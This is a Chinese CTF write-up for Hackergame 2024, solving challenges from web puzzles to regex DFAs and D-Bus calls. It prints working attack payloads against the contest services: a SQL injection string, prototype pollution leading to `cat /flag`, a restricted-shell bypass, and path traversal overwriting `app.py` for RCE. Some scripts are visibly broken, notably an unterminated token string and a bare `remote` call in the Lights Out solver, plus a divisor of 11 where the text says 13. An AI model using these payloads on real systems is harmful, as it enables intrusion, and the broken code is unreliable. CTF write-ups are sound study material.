前言
这次比赛的题目超级好玩。选取了一些题目来写writeup,希望对大家有所帮助。
签到
直接点一下提交,发现url的最后有个?pass=false
,改成?pass=true
即可。
喜欢做签到的 CTFer 你们好呀
打开网页,发现是个仿终端的界面,输入help
,发现提供了所有的命令,逐个尝试发现env
命令可以查看环境变量,发现flag1
。
在js中搜索flag
,发现https://www.nebuu.la/_next/static/chunks/pages/index-5cb01f7ec808f452.js
中有cat
指令特判了.flag
,遂尝试cat .flag
,发现flag2。
猫咪问答(Hackergame 十周年纪念版)
大语言模型会把输入分解为一个一个的 token 后继续计算,请问这个网页的 HTML 源代码会被 Meta 的 Llama 3 70B 模型的 tokenizer 分解为多少个 token?(5 分)
直接从Hugging Face
上获得 meta-llama/Meta-Llama-3-70B
的 tokenizer.json
,然后分解即可。
1
2
3
4
5
6
7
8
9
10
11
# Description: Tokenize a string using Meta-Llama-3-70B tokenizer
from tokenizers import Tokenizer
tokenizer = Tokenizer . from_file ( "tokenizer.json" )
with open ( "index.html" , "r" , encoding = "utf-8" ) as file :
html_content = file . read ()
output = tokenizer . encode ( html_content )
print ( output . ids )
print ( len ( output . tokens ))
打不开的盒
使用任意3D建模软件打开即可,这里因为懒得下直接用科协的电脑打开了。
(请选择你的拍屏导师)
每日论文太多了
在PDF中全文搜索flag
,发现Figure 4
中有一处空白,下载pdf之后使用编辑器打开,删除这里的白色遮罩即可看到flag。
比大小王
模拟输入显然不可行,对手一秒十题恐怖如斯,拼尽全力无法战胜。好在js没有混淆,阅读源码得知比赛题目从/game
中获得,在网页上完成比赛后还需要POST到/submit
,于是写了个脚本模拟提交。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
url = "http://202.38.93.141:12122/game"
headers = {
"content-type" : "application/json" ,
"cookie" : "xxx" }
data = " {} "
resp = requests . post ( url , headers = headers , data = data )
response = resp . json ()
print ( response )
inputs = response [ "values" ]
print ( inputs )
r = [ ">" if pair [ 0 ] > pair [ 1 ] else "<" for pair in inputs ]
set_cookie = resp . headers . get ( 'set-cookie' )
url2 = "http://202.38.93.141:12122/submit"
print ( str ({ "inputs" : r }))
if set_cookie :
headers [ 'cookie' ] = set_cookie
response = requests . post ( url2 , headers = headers , data = str ({ "inputs" : r }) . replace ( "'" , '"' ))
response = response . json ()
print ( response )
不宽的宽字符
以wchar
形式读入程序然后加上L"you_cant_get_the_flag"
,然后强制类型转换成char
后读这个文件
题目的意思是让我们构造一些宽字符,使被转换成char
后变成Z:\\theflag\0
,后面的\0
是字符串结束符,会被C风格的fopen
函数识别为字符串结束,从而忽略掉程序中的you_cant_get_the_flag
。
这几个字符可以直接按ASCII码两两组合起来(要倒过来),而最后落单的\0
可以直接用0x00
后面随机填充一个字节即可。
可以写程序来验证一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
char * c = ( char * ) filename . c_str ();
char * c2 = "Z: \\ theflag" ;
strcpy ( c , c2 );
for ( int i = 0 ; i < strlen ( c ); i ++ )
{
std :: cout << std :: hex << ( int ) c [ i ] << " " ;
}
std :: cout << std :: endl ;
for ( int i = 0 ; i < filename . size (); i ++ )
{
std :: cout << std :: hex << ( int ) filename [ i ] << " " ;
}
std :: cout << std :: endl ;
输出:
1
3 a 5 a 745 c 6568 6 c 66 6761 0 61 6 e 74 5 f 67 65 74 5 f 74 68 65 5 f 66 6 c 61 67
说明 3a5a 745c 6568 6c66 6761 0
会转换成 Z:\\theflag\0
。
1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote ( '202.38.93.141' , 14202 )
#token
# 输入 3a5a 745c 6568 6c66 6761 0011 的十六进制数据
payload_unicode = ' \u3a5a\u745c\u6568\u6c66\u6761\u1100 '
p . sendline ( payload_unicode )
p . interactive ()
PowerfulShell
构造不用'\";,.%^*?!@#%^&()><\/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0
的shell命令getflag
难点在于构造字符,发现$
和 `
没有被ban,那直接执行~
然后把结果用个变量存下来,慢慢拼接最后得到shell
1
2
3
4
5
6
7
_1 = ~
# _1的内容是/players,这里截取了l和s,并把ls的结果赋值给_2
_2 = ` ${ _1 : 2 : 1 }${ _1 : 7 : 1 }
#_2 的内容是PowerfulShell.sh
${ _2 : 14 : 2 } ## 截取_2中的sh并执行
完成getshell,随后cat /flag
即可。
Node.js is Web Scale
观察source code,发现有dict合并操作,于是想到原型链污染,只需要给每个对象添加个flag
属性,值为cat /flag
,这样/execute?cmd=flag
的时候就会RCE
在网页上填入key为 __proto__.flag
,value为 cat /flag
。
随后访问 /execute?cmd=flag
就可以得到flag。
PaoluGPT
爬虫题,获得主页的 html,然后解析出所有 a 标签的 href,然后爬取,获得 flag1
conversation_id是 uuid,无法遍历,于是阅读源码,发现有sql注入点
1
2
3
4
5
6
results = execute_query ( "select id, title from messages where shown = true" , fetch_all = True )
···
results = execute_query ( f "select title, contents from messages where id = ' { conversation_id } '" )
return render_template ( "view.html" , message = Message ( None , results [ 0 ], results [ 1 ]))
构造 payload select title, contents from messages where id ='1' OR shown = false AND '1'='1'
访问 /view?conversation_id=1' OR shown = false AND '1'='1
即可获得flag2
强大的正则表达式
好耶!是离散数学题!
Easy
flag1要求匹配十进制下被16整除的数,可以直接匹配最后四位。
1
2
3
4
5
6
7
8
9
10
11
str1 = '(16|32|64|(0|1|2|3|4|5|6|7|8|9)*(0000|0016|0032))'
strall = '('
for i in range ( 0 , 1000 , 16 ):
strall += str ( i ) + '|'
strall += '(0|1|2|3|4|5|6|7|8|9)*('
for i in range ( 0 , 10000 , 16 ):
# 补足四位
i4 = str ( i ) . zfill ( 4 )
strall += i4 + '|'
strall = strall [: - 1 ] + '))'
print ( strall )
Medium
flag2要求匹配二进制下被13整除的数,直接搜索发现这个问题可以转化成有限状态自动机(DFA)的问题,构造一个DFA,随后转化成正则语言。观察到题目中的刚好仅允许|()*
这些符号,因此可以构造出与、或、闭包,这个方向是正确的。
二进制下的转移线路很简单,可以构造一个DFA,状态为0-12,每个状态接受0-1的转移,最后统计从0开始的环路即可。
在Github上找到了一个repo tchajed/div-regex
提供了DFA转化成正则表达式的代码,我们仅需建图即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from dfa import Dfa
from gnfa import Gnfa
def divisible_by ( n ):
delta = []
for s in range ( n ):
s_delta = {}
for d in range ( 2 ):
x = str ( d )
s_delta [ x ] = ( s * 2 + d ) % n
delta . append ( s_delta )
return Dfa ( delta , set ([ 0 ]), 0 )
dfa = divisible_by ( 11 ) . minimal ()
r = Gnfa . dfa_re ( dfa )
ans = r . to_re ()
print ( ans )
Hard
情况变得复杂起来,需要构造一个DFA,状态为0-7,每个状态接受0-9的转移,最后统计从0开始的环路。
枚举每个Stage的出边,实现一个带初始值的crc3_gsm
函数,接受当前点的状态和此时的边,这条边会指向 crc3
计算的结果,最后即可完成DFA的构造。
值得注意的是在DFA中State
的值是中间状态,而CRC-3/GSM
的需要在运算后^0x07,只有Stage 7
在^0x07后为0,因此最后回归状态应该是7。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from dfa import Dfa
from gnfa import Gnfa
# Function to calculate CRC-3/GSM checksum
def crc3_gsm ( data , init = 0x00 ):
poly = 0x03
crc = init
data = data . encode ()
for byte in data :
for i in range ( 8 ):
bit = ( byte >> ( 7 - i )) & 1
crc = (( crc << 1 ) & 0x07 ) ^ ( poly if ( bit != (( crc >> 2 ) & 1 )) else 0 )
return crc
# Function to build the state machine for the DFA
def build_state_machine ():
delta = []
for s in range ( 8 ):
s_delta = {}
for d in range ( 10 ):
x = str ( d )
s_delta [ x ] = crc3_gsm ( x , s )
delta . append ( s_delta )
return Dfa ( delta , set ([ 7 ]), 0 )
dfa = build_state_machine () . minimal ()
r = Gnfa . dfa_re ( dfa ) . to_re ()
print ( r )
优雅的不等式
注意到知乎上文章 【科普】如何优雅地“注意到”关于e、π的不等式
,可以直接套用这个不等式。
然后调整参数,使其既小于400的长度,又足够紧(在[0,1]非负),即可得到flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import sympy as sp
x , a , b = sp . symbols ( 'x a b' )
m , n = 40 , 80
def getAns ( n , m , p , q ):
exp = x ** ( 2 * m ) * ( 1 - x ** 2 ) ** n * ( a + b * x ** 2 ) / ( 1 + x ** 2 )
exp = sp . simplify ( exp )
F = sp . integrate ( exp , ( x , 0 , 1 ))
F = sp . simplify ( F )
#sp.pprint(sp.simplify(F))
# Condition equations based on coeff(F, pi) and the given equations
coeff_F_pi = F . coeff ( sp . pi )
eq1 = coeff_F_pi - 1
# sp.pprint(F)
eq2 = F - coeff_F_pi * sp . pi + sp . Rational ( p , q )
#sp.pprint(eq1)
# Solve for a and b
solution = sp . solve ([ eq1 , eq2 ], ( a , b ))
exp2 = exp . subs ( solution )
# Output the solution
return str ( sp . simplify ( exp2 ))
from pwn import *
# Connect to the server
r = remote ( '202.38.93.141' , 14514 )
# Get the number of test cases
print ( r . recvline ())
token = 'I love dw'
r . sendline ( token )
# Please prove that pi>=p/q
cnt = 1
while True :
st = r . recvline () . decode ()
print ( st )
if 'Please' not in st :
continue
st = st . split ( '=' )[ 1 ] . split ( '/' )
if len ( st ) == 2 :
p = int ( st [ 0 ])
q = int ( st [ 1 ])
else :
p = int ( st [ 0 ])
q = 1
an = getAns ( n , m , p , q )
an = an . replace ( 'x**2' , 'x*x' ) . replace ( ' ' , '' )
print ( f 'Case { cnt } : { an } ' )
cnt += 1
r . sendline ( an )
p . interactive ()
不太分布式的软总线
Flag1
直接调用GetFlag1
方法即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <gio/gio.h>
#include <glib.h>
int main ( int argc , char * argv []) {
GError * error = NULL ;
GDBusConnection * connection ;
GVariant * result ;
// 连接到系统总线
connection = g_bus_get_sync ( G_BUS_TYPE_SYSTEM , NULL , & error );
if ( error != NULL ) {
g_printerr ( "Error connecting to system bus: %s \n " , error -> message );
g_clear_error ( & error );
return 1 ;
}
// 调用 GetFlag1 方法
result = g_dbus_connection_call_sync (
connection ,
"cn.edu.ustc.lug.hack.FlagService" , // 服务名称
"/cn/edu/ustc/lug/hack/FlagService" , // 对象路径
"cn.edu.ustc.lug.hack.FlagService" , // 接口名称
"GetFlag1" , // 方法名称
g_variant_new ( "(s)" , "Please give me flag1" ), // 参数
G_VARIANT_TYPE ( "(s)" ), // 返回类型
G_DBUS_CALL_FLAGS_NONE ,
- 1 ,
NULL ,
& error );
if ( error != NULL ) {
g_printerr ( "Error calling GetFlag1: %s \n " , error -> message );
g_clear_error ( & error );
return 1 ;
}
// 解析返回值
const gchar * flag1 ;
g_variant_get ( result , "(&s)" , & flag1 );
g_print ( "Flag1: %s \n " , flag1 );
// 清理
g_variant_unref ( result );
g_object_unref ( connection );
return 0 ;
}
Flag2
题目要求我们给出一个文件描述符,然后服务端会向这个文件描述符写入flag2,但由于我们并没有创建文件的权限,所以我们可以使用管道来实现。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <unistd.h>
#include <fcntl.h>
#include <gio/gio.h>
#include <glib.h>
#include <stdio.h>
int main () {
int pipefd [ 2 ];
if ( pipe ( pipefd ) == - 1 ) {
perror ( "pipe" );
return 1 ;
}
// 写入数据到管道
const char * pipe_message = "Please give me flag2 \n " ; // 更改变量名
write ( pipefd [ 1 ], pipe_message , strlen ( pipe_message ));
close ( pipefd [ 1 ]); // 关闭写端
// 创建一个 GDBusMessage 并设置文件描述符
GDBusMessage * dbus_message = g_dbus_message_new_method_call ( // 更改变量名
"cn.edu.ustc.lug.hack.FlagService" , "/cn/edu/ustc/lug/hack/FlagService" ,
"cn.edu.ustc.lug.hack.FlagService" , "GetFlag2" );
GUnixFDList * fd_list = g_unix_fd_list_new ();
g_unix_fd_list_append ( fd_list , pipefd [ 0 ], NULL );
g_dbus_message_set_unix_fd_list ( dbus_message , fd_list );
g_object_unref ( fd_list );
// 设置参数
GVariant * params = g_variant_new ( "(h)" , 0 ); // 传递文件描述符索引
g_dbus_message_set_body ( dbus_message , params );
// 调用方法并获取响应
GError * error = NULL ;
GDBusConnection * connection = g_bus_get_sync ( G_BUS_TYPE_SYSTEM , NULL , & error );
if ( error != NULL ) {
g_printerr ( "Error getting bus: %s \n " , error -> message );
g_error_free ( error );
return 1 ;
}
GDBusMessage * response = g_dbus_connection_send_message_with_reply_sync (
connection , dbus_message , G_DBUS_SEND_MESSAGE_FLAGS_NONE , - 1 , NULL , NULL ,
& error );
if ( error != NULL ) {
g_printerr ( "Error sending message: %s \n " , error -> message );
g_error_free ( error );
return 1 ;
}
// 处理响应
GVariant * body = g_dbus_message_get_body ( response );
const gchar * flag ;
g_variant_get ( body , "(&s)" , & flag );
g_print ( "Received flag: %s \n " , flag );
// 清理
g_object_unref ( response );
g_object_unref ( connection );
close ( pipefd [ 0 ]); // 关闭读端
return 0 ;
}
Flag3
题目只能给名为GetFlag3
的进程返回flag3,
1
prctl ( PR_SET_NAME , "getflag3" , 0 , 0 , 0 );
关灯
Flag1~Flag3
Light Out 问题本质上就是一个线性代数问题,我们可以通过构造矩阵来解决。
灯(i,j,k)开关能影响到的灯有(i,j,k), (i+1,j,k), (i-1,j,k), (i,j+1,k), (i,j-1,k), (i,j,k+1), (i,j,k-1)。
我们可以通过构造一个矩阵,对于一个灯(i,j,k),我们定义他的下标为i*n*n+j*n+k
,那么我们可以构造一个n^3*n^3
的矩阵,对于每一个灯,我们可以构造一个n^3
的向量,表示这个灯控制的灯。
最后解这个异或线性方程组即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import os
import numpy
import zlib
import base64
import time
import hashlib
os . environ [ 'TERM' ] = 'xterm'
from pwn import *
F = GF ( 2 )
n = 11
A = Matrix ( F , n ** 3 , n ** 3 , sparse = True )
B = vector ( F , n ** 3 )
dx = [ - 1 , 1 , 0 , 0 , 0 , 0 ]
dy = [ 0 , 0 , - 1 , 1 , 0 , 0 ]
dz = [ 0 , 0 , 0 , 0 , - 1 , 1 ]
for i in range ( n ):
for j in range ( n ):
for k in range ( n ):
u = i * n * n + j * n + k
A [ u , u ] = 1
for l in range ( 6 ):
x = i + dx [ l ]
y = j + dy [ l ]
z = k + dz [ l ]
if x >= 0 and x < n and y >= 0 and y < n and z >= 0 and z < n :
v = x * n * n + y * n + z
pwnlib . term . term_mode = False
p = remote
#p.interactive()
# Receive the welcome message
print ( p . recvline ())
token = 't
# 发送数据
p . sendline ( token )
print ( p . recv ( 1000 ))
p . sendline ( '4' )
st01 = p . recvline () . decode ()
print ( st01 )
print ( p . recv ( 4096 ))
for i in range ( n ** 3 ):
B [ i ] = int ( st01 [ i ])
solutions = A . solve_right ( B )
ans = ""
for i in range ( n ** 3 ):
ans += str ( solutions [ i ])
p . sendline ( ans )
p . interactive ()
禁止内卷
题目中强调了--reload
参数,那么应该是要修改py源文件,考虑如何写入文件.
阅读源码发现有一个/submit
接口,可以上传文件,没有处理文件名,存在路径穿越漏洞,在上传文件时修改POST
请求的filename
字段为../app.py
,即可直接覆盖app.py
,实现RCE。